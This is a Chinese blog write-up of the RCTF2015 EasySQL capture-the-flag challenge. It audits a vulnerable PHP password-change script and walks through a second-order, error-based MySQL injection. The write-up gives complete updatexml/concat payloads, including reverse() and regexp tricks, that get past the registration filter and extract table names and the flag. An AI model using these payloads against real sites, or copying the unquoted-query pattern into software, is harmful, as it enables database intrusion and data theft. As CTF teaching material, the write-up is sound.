首页 > 数据库 >[RCTF2015]EasySQL 1

[RCTF2015]EasySQL 1

时间:2024-07-27 16:27:34浏览次数:17  
标签:RCTF2015 0x7e EasySQL flag && updatexml payload concat

目录

题目分析

这道题目给源码了,但别人貌似都是黑盒做的,不管了,代码审计启动!

源码分析

注入位置

注入的位置在changepwd.php

<?php

session_start();

header("Content-Type: text/html; charset=UTF-8");


require_once 'config.php';
echo '<form action="" method="post"><p>oldpass: <input type="text" name="oldpass" /></p><p>newpass: <input type="text" name="newpass" /></p><input type="submit" value="Submit" /></form>';

if(isset($_POST['oldpass']) && isset($_POST['newpass'])){
    $oldpass = md5($_POST['oldpass']);
    $newpass = md5($_POST['newpass']);
    $username = $_SESSION['username'];
    $sql = "update users set pwd='$newpass' where name=\"$username\" and pwd='$oldpass'";
    // var_dump($sql);
    $query = mysql_query($sql);
    if($query){
        exit('');
    }else{
        die(mysql_error());
    }
}
?>

$username字段未使用单引号包裹,可以在注册界面的username字段写入注入语句,然后访问修改密码界面即可实现二次注入

正则过滤

注册username时存在正则过滤

$postfilter = "#(\s)|(/\*.*\*/)|file|insert|<|and|floor|ord|char|ascii|mid|left|right|hex|sleep|benchmark|substr|@|`|delete|like#i";

不区分大小写
匹配任意空白字符
匹配多行注释,/* 开始,*/ 结束
过滤的字符串:file、insert、<、and、floor、ord、char、ascii、mid、left、right、hex、sleep、benchmark、benchmark、substr

注入方式

在这里插入图片描述
username:1”
其他随便输入
登录之后来到这个界面,点击用户名后跳转到密码修改界面
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
报错,使用报错注入

注入

查看当前数据库

payload:1"&&updatexml(1,concat(0x7e,(select(database())),0x7e),1)#

在这里插入图片描述
查看表名

payload:1"&&updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),0x7e),1)#

在这里插入图片描述
查看字段名

payload:1"&&updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#

在这里插入图片描述
查看flag

payload:1"&&updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1)#

在这里插入图片描述
flag不在这,再看看user表

payload:1"&&updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1)#

在这里插入图片描述
updatexml()报错注入只显示32位,使用reverse()函数倒序输出,再进行拼接

payload:1"&&updatexml(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),0x7e),1)#

在这里插入图片描述
得到字段为:real_flag_1s_here
查看flag

payload:1"&&updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1)#

在这里插入图片描述
这个字段有很多条数据,使用函数:regexp(‘^f’),正则匹配f开头的字段

payload:1"&&updatexml(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1)#

在这里插入图片描述
不全,再倒叙输出一下

payload:1"&&updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1)#

在这里插入图片描述
最终得到flag:flag{fa879aa8-8691-48bc-aa64-532ccbc77744}

标签:RCTF2015,0x7e,EasySQL,flag,&&,updatexml,payload,concat
From: https://blog.csdn.net/ubaichu/article/details/140736246

相关文章

  • [RCTF2015]EasySQL
    [RCTF2015]EasySQL打开环境,有一个注册一个登录按钮这里注册的时候有个坑,邮箱那栏你不能输入@xx.com,否则就会报错不允许的字符fuzz测试一下发现过滤了不少字符注册完成后登录首页的文字没有什么有用的信息,进入帐号发现可以修改密码如果是正常的账号,此时修改密码不会有......
  • CTF练习日记——[SUCTF 2019]EasySQL 1
    查询1试试试试堆叠注入1;showdatabases;#来查询数据库,以及1;showtables;#查询表再看看表里面的字段名1,showcolumnsfromFlag;#显示nonono,到这里之后我不太懂就参考了http://t.csdnimg.cn/MHwz1,利用1;setsql_mode=PIPES_AS_CONCAT;select1,得到flag:flag......
  • CTF练习日记——[极客大挑战 2019]EasySQL
    启动靶机后,首先能看到这样一个界面:这个题是和SQL注入相关,首先随意输入username和password试试看:提示用户名和密码错误,那么我们尝试输入用户名输入1',得到提示SQL语句出错,那么我们就可以从这里下手,直接在用户名那输入1'or'1'='1#注入成功,得到了我们需要的flag:flag{08f72......
  • BUUCTF-EasySQL(sql注入题目)
    1、万能用户名/密码一般的,库验证登录注册查询数据会用到以下的句型,如果用户与密码匹配正确则返回真值通过验证成功登录select*fromtable_namewhereusername='×××'andpassword='×××';2、在该题目中使用,select*fromtable_namewhereusername='1'or1=1#'and......
  • Web_BUUCTF_WriteUp | [极客大挑战 2019]EasySQL
    题目靶机界面URL:http://86ae5adf-d39e-47dd-b3da-1ae895847925.node4.buuoj.cn:81/分析先在交互界面随便输入用户名和密码试试,界面显示如下:此时的URL为http://86ae5adf-d39e-47dd-b3da-1ae895847925.node4.buuoj.cn:81/check.php?username=admin&password=123对多出的......
  • Buu web easysql and Havefun
    1.easysql:(sql注入)解题思路:1、手工sql注入判断注入类型。2、构造pyload输入1’判断注入类型页面报错,说明为字符型,在构造pyload时候,需要主要闭合'。pyload:1'or1=1#(#的意思是把后面的注释掉,在这里是注释掉后面',保证语句正常执行)用or是因为1=1为真,那么无论前面的条......
  • [SUCTF 2019]EasySQL 1
    原理||的不同功能,连接字符串和或堆叠注入解题过程进入靶场,按常规进行注入,发现过滤了很多关键字,跑一下fuzz试试堆叠注入payload:1;showtables;得出放flag的表,但flag字段被过滤了。看wp原代码查询语句是select$_POST['query']||0fromflag;但我们不知道源码....从尝试......
  • BUUOJ[极客大挑战 2019]EasySQL 1
    原理涉及sql注入的or万能登录解题过程看到题目名字,应该就是要用到sql注入了,进入网页,看到了要登陆,我一开始想到要爆破(呃呃呃)。要用sql去登录的话,就要想到or万能登录了payload:1'or1=1#账号密码都是字符型的注入,因此有时候需要尝试一下'和"接着就爆出flag了另外,我在url......
  • [SUCTF 2019]EasySQL
    [SUCTF2019]EasySQL题目来源:buuctf题目类型:web涉及考点:SQL注入、堆叠注入1.题目给了一个输入框,先随便传点东西进去传入数字回显如下:传入flag回显如下:传入字符无回显没什么其他线索了,还是爆破一下看看过滤了哪些字符:返回长度为507的字符都是被过滤了的,包括uni......
  • [极客大挑战 2019]EasySQL
    [极客大挑战2019]EasySQL题目来源:buuctf题目类型:web涉及考点:SQL注入先看题目,给了两个输入框:随便输入几个数进去,例如username=123,password=123:页面回显说是错误的用户密码,但注意到url中采用的是get传参:下一步寻找注入点,我们可以假设数据库中的查询语句为:select......